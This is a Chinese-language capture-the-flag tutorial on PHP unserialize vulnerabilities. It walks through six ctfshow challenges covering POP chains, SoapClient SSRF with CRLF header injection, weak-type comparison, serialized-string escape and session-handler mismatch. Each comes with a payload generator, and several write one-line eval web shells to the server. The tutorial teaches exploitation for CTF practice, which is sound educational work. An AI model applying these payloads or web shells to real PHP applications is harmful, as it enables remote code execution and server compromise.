0×00:前言
各種CTF比賽隨處可見反序列化的影子,讓我們來了解一下!
閱讀本文,需要了解php中類的基礎(chǔ)知識(shí)
0×01:正文
了解反序列化,必先了解其魔法函數(shù)
1. __sleep() //在對(duì)象被序列化之前運(yùn)行
2. __wakeup() //將在反序列化之后立即調(diào)用(當(dāng)反序列化時(shí)變量個(gè)數(shù)與實(shí)際不符是會(huì)繞過)
3. __construct() //當(dāng)對(duì)象被創(chuàng)建時(shí),會(huì)觸發(fā)進(jìn)行初始化
4. __destruct() //對(duì)象被銷毀時(shí)觸發(fā)
5. __toString()://當(dāng)一個(gè)對(duì)象被當(dāng)作字符串使用時(shí)觸發(fā)
6. __call() //在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
7. __callStatic() //在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
8. __get() //獲得一個(gè)類的成員變量時(shí)調(diào)用,用于從不可訪問的屬性讀取數(shù)據(jù)
9. __set() //用于將數(shù)據(jù)寫入不可訪問的屬性
10. __isset() //在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
11. __unset() //在不可訪問的屬性上使用unset()時(shí)觸發(fā)
12. __toString() //把類當(dāng)作字符串使用時(shí)觸發(fā)
13. __invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
然后了解其屬性
序列化對(duì)象:
private變量會(huì)被序列化為:x00類名x00變量名
protected變量會(huì)被序列化為: x00*x00變量名
public變量會(huì)被序列化為:變量名
讓我們跟隨CTF題目,來感受反序列化獨(dú)有的的"魅力"
01
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
通讀代碼
$username&&$password存在進(jìn)入反序列化 $_COOKIE['user']
(cookie為可控字段)
隨后便調(diào)用了login方法
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
只有類中$username和$password等于我們傳入的值 ,即可返回true
進(jìn)入第二個(gè)if 調(diào)用了checkVip方法
public function checkVip(){
return $this->isVip;
}
這里定義類中isVip屬性為true即可
便調(diào)用了其vipOneKeyGetFlag方法 echo除了flag
思路來了,構(gòu)造payload
<?
class ctfShowUser{
public $isVip=true;
public $username='a';
public $password='a';
}
$o=new ctfShowUser();
echo serialize($o);
?>
?username=a&passowrd=a
cookie便傳值我們構(gòu)造出的payload
02
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
看到這么長(zhǎng)的代碼,我們可以簡(jiǎn)化一下
眾所周知反序列化找的就是魔法函數(shù)
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
思路
$username和$password存在進(jìn)入反序列化
backDoor類里邊有eval危險(xiǎn)函數(shù),我們要將其利用
看到__destruct函數(shù),當(dāng)類反序列化結(jié)束銷毀時(shí)會(huì)將其調(diào)用
public function __destruct(){
$this->class->getInfo();
}
看到里邊正好有g(shù)etInfo()函數(shù)
我們只需要將$this->class=new backDoor()就可以調(diào)用backDoor類中的getInfo()函數(shù) 進(jìn)行eval利用
故構(gòu)造payload
<?
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code;
public function __construct(){
$this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
}
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>
?username=xxx&password=xxx
cookie:user=傳我們構(gòu)造的payload即可寫入一句話木馬
03 原生類利用
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
訪問flag.php需要
X_FORWARDED_FOR===127.0.0.1,127.0.0.1
由于用了CF代理不能構(gòu)造X_FORWARDED_FOR
故只能用SoapClient原生類來進(jìn)行SSRF請(qǐng)求
那什么叫SoapClient類呢?
SoapClient采用了HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式,其采用了SOAP協(xié)議(SOAP 是一種簡(jiǎn)單的基于XML的協(xié)議,它使應(yīng)用程序通過HTTP來交換信息)來觸發(fā)__call方法,再利用一個(gè)CRLF注入進(jìn)行post傳輸構(gòu)造SSRF請(qǐng)求
那什么叫CRLF注入呢?
貼上大佬鏈接CRLF
故構(gòu)造payload
<?php
$payload= array(
'user_agent' => "Flowers_BeiChengrnx-forwarded-
for:127.0.0.1,127.0.0.1rnContent-type:Application/x-www-form-
urlencodedrnContent-length:13rnrntoken=ctfshow",
'uri' => 'Flowers_BeiCheng',
'location' => 'http://127.0.0.1/flag.php'
)
$a = new SoapClient(null,$payload);
$o = serialize($a);
echo urlencode($o);
04
class ctfshowvip{
public $username;
public $password;
public $code;
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
__unserialize和__wake同時(shí)存在,則__unserialize生效 __wake失效
通讀代碼
直接利用__destruct中file_put_contents
但想要利用file_put_contents需要$this->code==0x36d(這里考察弱類型比較)
$this->code和0x36d會(huì)轉(zhuǎn)換為數(shù)字進(jìn)行比較 0x36d==877
故構(gòu)造payload
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct(){
$this->username='877.php';
$this->password='<?php @eval($_POST[1]);?>';
}
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>
05 字符串逃逸
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
根據(jù)提示還有個(gè)message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
觸發(fā)點(diǎn)在message.php
我們要讓$msg->token=='admin',
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
可以看到控制不了$token 可以控制$from $msg $to
傳一個(gè)正常反序列化內(nèi)容
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
我們需要構(gòu)造這樣的反序列化內(nèi)容
O:7:"message":4:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
這時(shí)候就要傳入
";s:5:"token";s:5:"admin";} //27個(gè)字符
傳入的內(nèi)容需要逃逸出來
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
fuck變成loveU 四個(gè)字符變成五個(gè)字符
每次變多一個(gè),一共需要27個(gè)字符
構(gòu)造payload
f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
06 session反序列化
反序列化處理器
| 處理器 | 對(duì)應(yīng)的存儲(chǔ)格式
|
| ------------------------- | :-------------------------------------------------
---------- |
| php | 鍵名+豎線+經(jīng)過serialize()函數(shù)反序列化處理的值
|
| php_binary | 鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符+鍵名+經(jīng)過serialize()函數(shù)反序列
化處理的值 |
| php_serialize(php>=5.5.4) | 經(jīng)過serialize()函數(shù)反序列化處理的數(shù)組
|
#### 安全問題
如果PHP在反序列化存儲(chǔ)的$_SESSION數(shù)據(jù)時(shí)的使用的處理器和序列化時(shí)使用的處理器不同,會(huì)導(dǎo)致數(shù)據(jù)無法
正確反序列化,通過特殊的構(gòu)造,甚至可以偽造任意數(shù)據(jù)
session.auto_start=On
當(dāng)配置選項(xiàng)session.auto_start=On,會(huì)自動(dòng)注冊(cè)Session會(huì)話,因?yàn)樵撨^程是發(fā)生在腳本代碼執(zhí)行前,所
以在腳本中設(shè)定的包括序列化處理器在內(nèi)的session相關(guān)配選項(xiàng)的設(shè)置是不起作用的,因此一些需要在腳本中
設(shè)置序列化處理器配置的程序會(huì)在session.auto_start=On時(shí),銷毀自動(dòng)生成的Session會(huì)話,然后設(shè)置
需要的序列化處理器,在調(diào)用session_start()函數(shù)注冊(cè)會(huì)話,這時(shí)如果腳本中設(shè)置的序列化處理器與
php.ini中設(shè)置的不同,就會(huì)出現(xiàn)安全問題
訪問/www.zip下載源碼
通讀代碼
index.php
17行,$_SESSION['limit']首先是為空 通過后面的$_COOKIE['limit']便可以控制$_SESSION['limit']
如果無法控制,利用
PHP_SESSION_UPLOAD_PROGRESS來控制session內(nèi)容
查看check.php
發(fā)現(xiàn)包含了inc/inc.php
跟進(jìn)inc/inc.php
默認(rèn)配置為php進(jìn)行反序列化的
那php反序列化什么樣的呢?
鍵名+豎線+經(jīng)過serialize()函數(shù)反序列化處理的值
只有 | 后面的內(nèi)容才會(huì)被反序列化
漏洞關(guān)鍵位置
發(fā)現(xiàn)了User類里的__destruct()魔法函數(shù)可以進(jìn)行file_put_contents函數(shù)進(jìn)行g(shù)etshell
思路
- 前提:由于php.ini默認(rèn)配置為php_serialize
- 利用index.php控制SESSION文件寫入SESSION為序列化后的內(nèi)容
- 再利用check.php觸發(fā)反序列化(觸發(fā)|后面序列化后的內(nèi)容)
故構(gòu)造payload
class User{
public $username;
public $password;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
echo base64_encode('|'.serialize($o));
訪問index.php改cookie limit為payload 再次訪問寫入
訪問check.php觸發(fā)
最后訪問log-huahua.php
成功寫入
0×02:總結(jié)
介紹了這么多,相信大家已經(jīng)對(duì)反序列化有了初步的了解
要學(xué)會(huì)嘗試構(gòu)造POP鏈復(fù)現(xiàn)TP Yii等框架的鏈子哦






